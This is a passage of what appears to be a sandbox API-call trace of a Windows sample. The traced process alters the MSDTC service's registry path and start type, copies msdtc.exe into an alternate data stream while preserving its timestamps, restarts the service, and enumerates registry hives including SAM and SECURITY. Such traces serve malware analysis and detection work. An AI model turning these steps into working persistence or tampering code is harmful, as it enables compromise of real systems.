lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0256.462] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\System32\\msdtc.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x1f [0256.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0256.462] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\System32\\msdtc.exe", lpDst=0x21f1bb0, nSize=0x1f | out: lpDst="C:\\Windows\\System32\\msdtc.exe") returned 0x1e [0256.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0256.462] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\msdtc.exe", cbData=0x1e | out: lpData="C:\\Windows\\System32\\msdtc.exe") returned 0x0 [0256.462] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\msdtc.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\System32\\msdtc.exe" [0256.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0256.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0256.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0256.462] LocalFree (hMem=0x7e4b18) returned 0x0 [0256.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0256.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\msdtc.exe", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0256.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0256.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\msdtc.exe", cchWideChar=29, lpMultiByteStr=0x21f1bb0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\System32\\msdtc.exe", lpUsedDefaultChar=0x0) returned 29 [0256.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0256.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0256.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0256.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0256.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0256.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0256.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0256.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0256.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0256.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0256.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0256.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0256.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0256.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0256.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0256.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0256.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0256.463] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\msdtc.exe", cbData=0x1e | out: lpData="C:\\Windows\\System32\\msdtc.exe") returned 0x0 [0256.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0256.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0256.463] OpenServiceW (hSCManager=0x803918, lpServiceName="MSDTC", dwDesiredAccess=0x2) returned 0x8038a0 [0256.464] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0256.483] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0256.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0256.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0256.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0256.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0256.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0256.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0256.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.483] RegCloseKey (hKey=0x148) returned 0x0 [0256.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0256.483] RegCloseKey (hKey=0x154) returned 0x0 [0256.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0256.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0256.484] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\msdtc.exe" (normalized: "c:\\windows\\system32\\msdtc.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1d10961, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xf1d10961, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe92f7b50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22a00)) returned 1 [0256.484] CreateFileW (lpFileName="C:\\Windows\\System32\\msdtc.exe" (normalized: "c:\\windows\\system32\\msdtc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0256.484] GetLastError () returned 0x5 [0256.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0256.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0256.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0256.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0256.487] NtClose (Handle=0x154) returned 0x0 [0256.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0256.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0256.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0256.878] NtClose (Handle=0x154) returned 0x0 [0256.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0256.878] NtClose (Handle=0x148) returned 0x0 [0256.878] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0x2710) returned 0x0 [0257.244] NtClose (Handle=0xc4) returned 0x0 [0257.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0257.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0257.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0257.244] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\msdtc.exe" (normalized: "c:\\windows\\system32\\msdtc.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1d10961, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xf1d10961, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe92f7b50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22a00)) returned 1 [0257.244] CreateFileW (lpFileName="C:\\Windows\\System32\\msdtc.exe" (normalized: "c:\\windows\\system32\\msdtc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0257.245] SetFileTime (hFile=0xc4, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0257.245] GetFileSize (in: hFile=0xc4, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x22a00 [0257.245] SetFilePointer (in: hFile=0xc4, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0257.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x22a00) returned 0x21f4ea8 [0257.245] ReadFile (in: hFile=0xc4, lpBuffer=0x21f4ea8, nNumberOfBytesToRead=0x22a00, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f4ea8*, lpNumberOfBytesRead=0x36f53c*=0x22a00, lpOverlapped=0x0) returned 1 [0257.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x22a00) returned 0x2159e98 [0257.251] SetEndOfFile (hFile=0xc4) returned 1 [0257.251] GetFileTime (in: hFile=0xc4, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xe92f7b50, dwHighDateTime=0x1ca0423)) returned 1 [0257.252] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0257.252] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0257.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0257.252] NtClose (Handle=0xc4) returned 0x0 [0257.252] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\msdtc.exe:0" (normalized: "c:\\windows\\system32\\msdtc.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0xd, ftCreationTime.dwLowDateTime=0x246dd, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0257.252] GetLastError () returned 0x2 [0257.252] CreateFileW (lpFileName="C:\\Windows\\System32\\msdtc.exe:0" (normalized: "c:\\windows\\system32\\msdtc.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0257.252] SetFileTime (hFile=0xc4, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0257.252] WriteFile (in: hFile=0xc4, lpBuffer=0x2159e98*, nNumberOfBytesToWrite=0x22a00, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2159e98*, lpNumberOfBytesWritten=0x36f53c*=0x22a00, lpOverlapped=0x0) returned 1 [0257.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0257.255] SetFileTime (hFile=0xc4, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0257.255] NtClose (Handle=0xc4) returned 0x0 [0257.255] OpenServiceW (hSCManager=0x803918, lpServiceName="MSDTC", dwDesiredAccess=0x10) returned 0x803990 [0257.255] StartServiceW (hService=0x803990, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0258.041] CloseServiceHandle (hSCObject=0x803990) returned 1 [0258.041] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0258.041] GetLastError () returned 0x6 [0258.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159e98) returned 1 [0258.041] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0258.042] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0258.042] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0258.042] OpenServiceW (hSCManager=0x803918, lpServiceName="WMPNetworkSvc", dwDesiredAccess=0x20) returned 0x8038a0 [0258.042] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0258.043] GetLastError () returned 0x426 [0258.043] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0258.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0258.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0258.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0258.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0258.043] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0258.043] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0258.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0258.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0258.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.043] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0258.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0258.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.044] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0258.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0258.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.044] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0258.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0258.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.044] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0258.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0258.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.045] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0258.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0258.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.045] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0258.045] RegCloseKey (hKey=0x80000002) returned 0x0 [0258.045] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0258.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0258.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0258.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.045] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.045] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0258.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0258.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0258.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.046] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0258.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0258.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0258.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 